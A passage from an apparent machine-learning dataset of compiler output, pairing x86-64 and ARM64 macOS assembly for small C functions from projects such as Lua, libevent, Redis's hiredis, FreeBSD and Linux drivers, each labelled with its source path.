adrp x1, l_.str@PAGE Lloh4: add x1, x1, l_.str@PAGEOFF mov x0, x21 mov x2, x20 mov x4, x22 bl _lua_pushfstring mov x0, x21 mov x1, x19 bl _lua_remove Lloh5: adrp x8, _LUA_ERRFILE@GOTPAGE Lloh6: ldr x8, [x8, _LUA_ERRFILE@GOTPAGEOFF] Lloh7: ldr w0, [x8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _errno,4,2 ; @errno .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "cannot %s %s: %s" .comm _LUA_ERRFILE,4,2 ; @LUA_ERRFILE .no_dead_strip _errfile .subsections_via_symbols
AnghaBench/skynet/3rd/lua/extr_lauxlib.c_errfile.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function end_of_path _end_of_path: ## @end_of_path .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %r14d movq %rdi, %r13 movq _EVHTTP_URI_NONCONFORMANT@GOTPCREL(%rip), %rax testl %edx, (%rax) je LBB0_7 ## %bb.1: cmpl $130, %r14d je LBB0_19 ## %bb.2: cmpl $129, %r14d je LBB0_20 ## %bb.3: movq %r13, %rax cmpl $128, %r14d jne LBB0_26 .p2align 4, 0x90 LBB0_4: ## =>This Inner Loop Header: Depth=1 movzbl (%rax), %ecx testb %cl, %cl je LBB0_26 ## %bb.5: ## in Loop: Header=BB0_4 Depth=1 cmpb $35, %cl je LBB0_26 ## %bb.6: ## in Loop: Header=BB0_4 Depth=1 incq %rax jmp LBB0_4 LBB0_7: movb (%r13), %cl testb %cl, %cl je LBB0_25 ## %bb.8: movq _SUBDELIMS@GOTPCREL(%rip), %r15 leaq LJTI0_0(%rip), %r12 jmp LBB0_10 .p2align 4, 0x90 LBB0_9: ## in Loop: Header=BB0_10 Depth=1 leaq (%rbx,%r13), %rax movzbl (%r13,%rbx), %ecx movq %rax, %r13 testb %cl, %cl je LBB0_26 LBB0_10: ## =>This Inner Loop Header: Depth=1 movsbl %cl, %edi callq _CHAR_IS_UNRESERVED movl $1, %ebx testq %rax, %rax jne LBB0_9 ## %bb.11: ## in Loop: Header=BB0_10 Depth=1 movl (%r15), %edi movsbl (%r13), %esi callq _strchr testq %rax, %rax jne LBB0_9 ## %bb.12: ## in Loop: Header=BB0_10 Depth=1 movzbl (%r13), %eax addb $-37, %al cmpb $27, %al ja LBB0_16 ## %bb.13: ## in Loop: Header=BB0_10 Depth=1 movzbl %al, %eax movslq (%r12,%rax,4), %rax addq %r12, %rax movl $1, %ebx jmpq *%rax LBB0_14: ## in Loop: Header=BB0_10 Depth=1 movsbl 1(%r13), %edi callq _EVUTIL_ISXDIGIT_ testq %rax, %rax je LBB0_16 ## %bb.15: ## in Loop: Header=BB0_10 Depth=1 movsbl 2(%r13), %edi callq _EVUTIL_ISXDIGIT_ movl $3, %ebx testq %rax, %rax jne LBB0_9 LBB0_16: ## in Loop: Header=BB0_10 Depth=1 cmpl $129, %r14d je LBB0_25 ## %bb.17: ## in Loop: Header=BB0_10 Depth=1 cmpb $63, (%r13) movl $1, %ebx je LBB0_9 jmp LBB0_25 LBB0_19: movq %r13, %rdi callq _strlen cltq addq %r13, %rax jmp LBB0_26 LBB0_20: movabsq $-9223372002495037439, %rax ## imm = 0x8000000800000001 jmp LBB0_22 .p2align 4, 0x90 LBB0_21: ## in Loop: Header=BB0_22 Depth=1 incq %r13 LBB0_22: ## =>This Inner Loop Header: Depth=1 movzbl (%r13), %ecx cmpq $63, %rcx ja LBB0_21 ## %bb.23: ## in Loop: Header=BB0_22 Depth=1 btq %rcx, %rax jae LBB0_21 LBB0_25: movq %r13, %rax LBB0_26: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_14, LBB0_14-LJTI0_0 .set L0_0_set_16, LBB0_16-LJTI0_0 .set L0_0_set_9, LBB0_9-LJTI0_0 LJTI0_0: .long L0_0_set_14 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_9 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_9 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_16 .long L0_0_set_9 .end_data_region ## -- End function .comm _EVHTTP_URI_NONCONFORMANT,4,2 ## @EVHTTP_URI_NONCONFORMANT .comm _SUBDELIMS,4,2 ## @SUBDELIMS .no_dead_strip _end_of_path .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function end_of_path _end_of_path: ; @end_of_path .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x20, x1 mov x19, x0 Lloh0: adrp x8, _EVHTTP_URI_NONCONFORMANT@GOTPAGE Lloh1: ldr x8, [x8, _EVHTTP_URI_NONCONFORMANT@GOTPAGEOFF] Lloh2: ldr w8, [x8] tst w8, w2 b.eq LBB0_7 ; %bb.1: cmp w20, #130 b.eq LBB0_20 ; %bb.2: cmp w20, #129 b.eq LBB0_22 ; %bb.3: cmp w20, #128 b.ne LBB0_21 ; %bb.4: ldrb w8, [x19] cbz w8, LBB0_21 LBB0_5: ; =>This Inner Loop Header: Depth=1 cmp w8, #35 b.eq LBB0_21 ; %bb.6: ; in Loop: Header=BB0_5 Depth=1 add x19, x19, #1 ldrb w8, [x19] cbnz w8, LBB0_5 b LBB0_21 LBB0_7: ldrb w8, [x19] cbz w8, LBB0_21 ; %bb.8: Lloh3: adrp x21, _SUBDELIMS@GOTPAGE Lloh4: ldr x21, [x21, _SUBDELIMS@GOTPAGEOFF] Lloh5: adrp x22, lJTI0_0@PAGE Lloh6: add x22, x22, lJTI0_0@PAGEOFF b LBB0_11 LBB0_9: ; in Loop: Header=BB0_11 Depth=1 mov w8, #1 LBB0_10: ; in Loop: Header=BB0_11 Depth=1 add x19, x19, x8 ldrb w8, [x19] cbz w8, LBB0_21 LBB0_11: ; =>This Inner Loop Header: Depth=1 sxtb w0, w8 bl _CHAR_IS_UNRESERVED cbnz x0, LBB0_9 ; %bb.12: ; in Loop: Header=BB0_11 Depth=1 ldr w0, [x21] ldrsb w1, [x19] bl _strchr cbnz x0, LBB0_9 ; %bb.13: ; in Loop: Header=BB0_11 Depth=1 ldrb w8, [x19] sub w8, w8, #37 cmp w8, #27 b.hi LBB0_18 ; %bb.14: ; in Loop: Header=BB0_11 Depth=1 adr x9, LBB0_10 ldrb w10, [x22, x8] add x9, x9, x10, lsl #2 mov w8, #1 br x9 LBB0_15: ; in Loop: Header=BB0_11 Depth=1 ldrsb w0, [x19, #1] bl _EVUTIL_ISXDIGIT_ cbz x0, LBB0_18 ; %bb.16: ; in Loop: Header=BB0_11 Depth=1 ldrsb w0, [x19, #2] bl _EVUTIL_ISXDIGIT_ cbz x0, LBB0_18 ; %bb.17: ; in Loop: Header=BB0_11 Depth=1 mov w8, #3 b LBB0_10 LBB0_18: ; in Loop: Header=BB0_11 Depth=1 cmp w20, #129 b.eq LBB0_21 ; %bb.19: ; in Loop: Header=BB0_11 Depth=1 ldrb w8, [x19] cmp w8, #63 b.eq LBB0_9 b LBB0_21 LBB0_20: mov x0, x19 bl _strlen add x19, x19, w0, sxtw LBB0_21: mov x0, x19 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret LBB0_22: mov w8, #1 mov x9, #-9223372036854775807 movk x9, #8, lsl #32 LBB0_23: ; =>This Inner Loop Header: Depth=1 ldrb w10, [x19] cmp w10, #63 lsl x10, x8, x10 and x10, x10, x9 ccmp x10, #0, #4, ls b.ne LBB0_21 ; %bb.24: ; in Loop: Header=BB0_23 Depth=1 add x19, x19, #1 b LBB0_23 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh5, Lloh6 .loh AdrpLdrGot Lloh3, Lloh4 .cfi_endproc .section __TEXT,__const lJTI0_0: .byte (LBB0_15-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_10-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_10-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_18-LBB0_10)>>2 .byte (LBB0_10-LBB0_10)>>2 ; -- End function .comm _EVHTTP_URI_NONCONFORMANT,4,2 ; @EVHTTP_URI_NONCONFORMANT .comm _SUBDELIMS,4,2 ; @SUBDELIMS .no_dead_strip _end_of_path .subsections_via_symbols
AnghaBench/libevent/extr_http.c_end_of_path.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function handle_attr_nack _handle_attr_nack: ## @handle_attr_nack .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq _HS@GOTPCREL(%rip), %rax movl (%rax), %edi leaq L_.str(%rip), %rsi callq _viodbg movq _ECONNRESET@GOTPCREL(%rip), %rcx xorl %eax, %eax subl (%rcx), %eax popq %rbp retq .cfi_endproc ## -- End function .comm _HS,4,2 ## @HS .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "GOT NET ATTR NACK\n" .comm _ECONNRESET,4,2 ## @ECONNRESET .no_dead_strip _handle_attr_nack .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function handle_attr_nack _handle_attr_nack: ; @handle_attr_nack .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 Lloh0: adrp x8, _HS@GOTPAGE Lloh1: ldr x8, [x8, _HS@GOTPAGEOFF] Lloh2: ldr w0, [x8] Lloh3: adrp x1, l_.str@PAGE Lloh4: add x1, x1, l_.str@PAGEOFF bl _viodbg Lloh5: adrp x8, _ECONNRESET@GOTPAGE Lloh6: ldr x8, [x8, _ECONNRESET@GOTPAGEOFF] Lloh7: ldr w8, [x8] neg w0, w8 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _HS,4,2 ; @HS .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "GOT NET ATTR NACK\n" .comm _ECONNRESET,4,2 ; @ECONNRESET .no_dead_strip _handle_attr_nack .subsections_via_symbols
AnghaBench/fastsocket/kernel/drivers/net/extr_sunvnet.c_handle_attr_nack.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal8,8byte_literals .p2align 3 ## -- Begin function main LCPI0_0: .quad 0x3fe0000000000000 ## double 0.5 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx subq $24, %rsp .cfi_offset %rbx, -24 xorpd %xmm0, %xmm0 movsd %xmm0, -16(%rbp) ## 8-byte Spill leaq L_.str(%rip), %rbx xorpd %xmm0, %xmm0 .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 movsd %xmm0, -32(%rbp) ## 8-byte Spill movsd -16(%rbp), %xmm0 ## 8-byte Reload ## xmm0 = mem[0],zero addsd LCPI0_0(%rip), %xmm0 movsd %xmm0, -16(%rbp) ## 8-byte Spill callq _tanh movapd %xmm0, %xmm1 movsd %xmm0, -24(%rbp) ## 8-byte Spill movq %rbx, %rdi movsd -16(%rbp), %xmm0 ## 8-byte Reload ## xmm0 = mem[0],zero movb $2, %al callq _printf movsd -32(%rbp), %xmm0 ## 8-byte Reload ## xmm0 = mem[0],zero movsd -24(%rbp), %xmm1 ## 8-byte Reload ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movapd %xmm1, %xmm0 jne LBB0_1 jp LBB0_1 ## %bb.2: xorl %eax, %eax addq $24, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "tanh(%e) == %e\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp d11, d10, [sp, #16] ; 16-byte Folded Spill stp d9, d8, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset b8, -40 .cfi_offset b9, -48 .cfi_offset b10, -56 .cfi_offset b11, -64 movi d8, #0000000000000000 fmov d10, #0.50000000 Lloh0: adrp x19, l_.str@PAGE Lloh1: add x19, x19, l_.str@PAGEOFF movi d11, #0000000000000000 LBB0_1: ; =>This Inner Loop Header: Depth=1 fadd d8, d8, d10 fmov d0, d8 bl _tanh fmov d9, d0 stp d8, d0, [sp] mov x0, x19 bl _printf fcmp d11, d9 fmov d11, d9 b.ne LBB0_1 ; %bb.2: mov w0, #0 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp d9, d8, [sp, #32] ; 16-byte Folded Reload ldp d11, d10, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 ret .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "tanh(%e) == %e\n" .subsections_via_symbols
the_stack_data/554510.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function add_imm64 _add_imm64: ## @add_imm64 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rsi, %rbx movq %rdi, %r14 movl (%rsi), %ecx movl 4(%rsi), %esi addl %esi, %esi movq _ALU_OP_ADD@GOTPCREL(%rip), %rax movl (%rax), %edx callq _wrp_alu_imm movl 4(%rbx), %eax leal (%rax,%rax), %esi incl %esi movq _ALU_OP_ADD_C@GOTPCREL(%rip), %rax movl (%rax), %edx movq %r14, %rdi callq _wrp_alu_imm xorl %eax, %eax popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .comm _ALU_OP_ADD,4,2 ## @ALU_OP_ADD .comm _ALU_OP_ADD_C,4,2 ## @ALU_OP_ADD_C .no_dead_strip _add_imm64 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function add_imm64 _add_imm64: ; @add_imm64 .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x1 mov x20, x0 ldp w3, w8, [x1] lsl w1, w8, #1 Lloh0: adrp x8, _ALU_OP_ADD@GOTPAGE Lloh1: ldr x8, [x8, _ALU_OP_ADD@GOTPAGEOFF] Lloh2: ldr w2, [x8] bl _wrp_alu_imm ldr w8, [x19, #4] mov w1, #1 bfi w1, w8, #1, #31 Lloh3: adrp x8, _ALU_OP_ADD_C@GOTPAGE Lloh4: ldr x8, [x8, _ALU_OP_ADD_C@GOTPAGEOFF] Lloh5: ldr w2, [x8] mov x0, x20 bl _wrp_alu_imm mov w0, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _ALU_OP_ADD,4,2 ; @ALU_OP_ADD .comm _ALU_OP_ADD_C,4,2 ; @ALU_OP_ADD_C .no_dead_strip _add_imm64 .subsections_via_symbols
AnghaBench/linux/drivers/net/ethernet/netronome/nfp/bpf/extr_jit.c_add_imm64.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _gv_plex_normal_done ## -- Begin function gv_plex_normal_done .p2align 4, 0x90 _gv_plex_normal_done: ## @gv_plex_normal_done .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movq %rdi, %r14 movq 40(%rsi), %rbx cmpq $0, (%rbx) jne LBB0_2 ## %bb.1: movq (%rsi), %rax movq %rax, (%rbx) LBB0_2: movq %rsi, %rdi callq _g_destroy_bio movq 8(%rbx), %rax movq 16(%rbx), %rcx incq %rax movq %rax, 8(%rbx) cmpq %rax, %rcx jne LBB0_6 ## %bb.3: movl 24(%rbx), %eax movl 28(%rbx), %ecx movl %ecx, 32(%rbx) movq _GV_BIO_SYNCREQ@GOTPCREL(%rip), %rcx testl %eax, (%rcx) je LBB0_4 ## %bb.7: movq %r14, %rdi movq %rbx, %rsi popq %rbx popq %r14 popq %rbp jmp _gv_sync_complete ## TAILCALL LBB0_6: popq %rbx popq %r14 popq %rbp retq LBB0_4: movq _GV_BIO_GROW@GOTPCREL(%rip), %rcx testl %eax, (%rcx) je LBB0_5 ## %bb.8: movq %r14, %rdi movq %rbx, %rsi popq %rbx popq %r14 popq %rbp jmp _gv_grow_complete ## TAILCALL LBB0_5: movq (%rbx), %rsi movq %rbx, %rdi popq %rbx popq %r14 popq %rbp jmp _g_io_deliver ## TAILCALL .cfi_endproc ## -- End function .comm _GV_BIO_SYNCREQ,4,2 ## @GV_BIO_SYNCREQ .comm _GV_BIO_GROW,4,2 ## @GV_BIO_GROW .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _gv_plex_normal_done ; -- Begin function gv_plex_normal_done .p2align 2 _gv_plex_normal_done: ; @gv_plex_normal_done .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x20, x0 ldr x19, [x1, #40] ldr x8, [x19] cbnz x8, LBB0_2 ; %bb.1: ldr x8, [x1] str x8, [x19] LBB0_2: mov x0, x1 bl _g_destroy_bio ldp x8, x9, [x19, #8] add x8, x8, #1 str x8, [x19, #8] cmp x9, x8 b.ne LBB0_5 ; %bb.3: ldp w8, w9, [x19, #24] str w9, [x19, #32] Lloh0: adrp x9, _GV_BIO_SYNCREQ@GOTPAGE Lloh1: ldr x9, [x9, _GV_BIO_SYNCREQ@GOTPAGEOFF] Lloh2: ldr w9, [x9] tst w9, w8 b.eq LBB0_6 ; %bb.4: mov x0, x20 mov x1, x19 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _gv_sync_complete LBB0_5: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret LBB0_6: Lloh3: adrp x9, _GV_BIO_GROW@GOTPAGE Lloh4: ldr x9, [x9, _GV_BIO_GROW@GOTPAGEOFF] Lloh5: ldr w9, [x9] tst w9, w8 b.eq LBB0_8 ; %bb.7: mov x0, x20 mov x1, x19 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _gv_grow_complete LBB0_8: ldr x1, [x19] mov x0, x19 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _g_io_deliver .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .cfi_endproc ; -- End function .comm _GV_BIO_SYNCREQ,4,2 ; @GV_BIO_SYNCREQ .comm _GV_BIO_GROW,4,2 ; @GV_BIO_GROW .subsections_via_symbols
AnghaBench/freebsd/sys/geom/vinum/extr_geom_vinum_plex.c_gv_plex_normal_done.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function dictReleaseIterator _dictReleaseIterator: ## @dictReleaseIterator .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp jmp _free ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _dictReleaseIterator .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function dictReleaseIterator _dictReleaseIterator: ; @dictReleaseIterator .cfi_startproc ; %bb.0: b _free .cfi_endproc ; -- End function .no_dead_strip _dictReleaseIterator .subsections_via_symbols
AnghaBench/redis/deps/hiredis/extr_dict.c_dictReleaseIterator.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function ati_create_gatt_pages _ati_create_gatt_pages: ## @ati_create_gatt_pages .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %edi, %r15d leal 1(%r15), %edi movq _GFP_KERNEL@GOTPCREL(%rip), %r12 movl (%r12), %edx movl $8, %esi callq _kcalloc testq %rax, %rax je LBB0_6 ## %bb.1: movq %rax, %r13 xorl %r14d, %r14d movl $0, %eax testl %r15d, %r15d jle LBB0_9 ## %bb.2: movl %r15d, %r14d xorl %ebx, %ebx .p2align 4, 0x90 LBB0_3: ## =>This Inner Loop Header: Depth=1 movl (%r12), %esi movl $4, %edi callq _kzalloc movq %rax, (%r13,%rbx,8) testq %rax, %rax je LBB0_10 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 movq %rax, %rdi callq _ati_create_page_map testl %eax, %eax jne LBB0_5 ## %bb.7: ## in Loop: Header=BB0_3 Depth=1 incq %rbx cmpq %rbx, %r14 jne LBB0_3 ## %bb.8: movl %r15d, %eax xorl %r14d, %r14d LBB0_9: movq _ati_generic_private@GOTPCREL(%rip), %rcx movl %eax, (%rcx) movq %r13, 8(%rcx) jmp LBB0_13 LBB0_6: movq _ENOMEM@GOTPCREL(%rip), %rax xorl %r14d, %r14d subl (%rax), %r14d jmp LBB0_13 LBB0_10: movq _ENOMEM@GOTPCREL(%rip), %rax movl (%rax), %r14d movq _ati_generic_private@GOTPCREL(%rip), %rax movl %ebx, (%rax) movq %r13, 8(%rax) testl %r14d, %r14d je LBB0_14 ## %bb.11: negl %r14d jmp LBB0_12 LBB0_5: movq _ati_generic_private@GOTPCREL(%rip), %rcx movl %ebx, (%rcx) movq %r13, 8(%rcx) movl %eax, %r14d LBB0_12: xorl %eax, %eax callq _ati_free_gatt_pages jmp LBB0_13 LBB0_14: xorl %r14d, %r14d LBB0_13: movl %r14d, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _ENOMEM,4,2 ## @ENOMEM .comm _ati_generic_private,16,3 ## @ati_generic_private .no_dead_strip _ati_create_gatt_pages .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function ati_create_gatt_pages _ati_create_gatt_pages: ; @ati_create_gatt_pages .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x20, x0 add w0, w0, #1 Lloh0: adrp x22, _GFP_KERNEL@GOTPAGE Lloh1: ldr x22, [x22, _GFP_KERNEL@GOTPAGEOFF] ldr w2, [x22] mov w1, #8 bl _kcalloc cbz x0, LBB0_6 ; %bb.1: mov x19, x0 cmp w20, #1 b.lt LBB0_7 ; %bb.2: mov x23, #0 mov w24, w20 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr w1, [x22] mov w0, #4 bl _kzalloc str x0, [x19, x23, lsl #3] cbz x0, LBB0_9 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 bl _ati_create_page_map cbnz w0, LBB0_11 ; %bb.5: ; in Loop: Header=BB0_3 Depth=1 add x23, x23, #1 cmp x24, x23 b.ne LBB0_3 b LBB0_8 LBB0_6: Lloh2: adrp x8, _ENOMEM@GOTPAGE Lloh3: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh4: ldr w8, [x8] neg w21, w8 b LBB0_14 LBB0_7: mov w20, #0 LBB0_8: mov w21, #0 Lloh5: adrp x8, _ati_generic_private@GOTPAGE Lloh6: ldr x8, [x8, _ati_generic_private@GOTPAGEOFF] str w20, [x8] str x19, [x8, #8] b LBB0_14 LBB0_9: Lloh7: adrp x8, _ENOMEM@GOTPAGE Lloh8: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh9: ldr w8, [x8] Lloh10: adrp x9, _ati_generic_private@GOTPAGE Lloh11: ldr x9, [x9, _ati_generic_private@GOTPAGEOFF] str w23, [x9] str x19, [x9, #8] cbz w8, LBB0_13 ; %bb.10: neg w21, w8 b LBB0_12 LBB0_11: mov x21, x0 Lloh12: adrp x8, _ati_generic_private@GOTPAGE Lloh13: ldr x8, [x8, _ati_generic_private@GOTPAGEOFF] str w23, [x8] str x19, [x8, #8] LBB0_12: bl _ati_free_gatt_pages b LBB0_14 LBB0_13: mov w21, #0 LBB0_14: mov x0, x21 ldp x29, x30, [sp, #48] ; 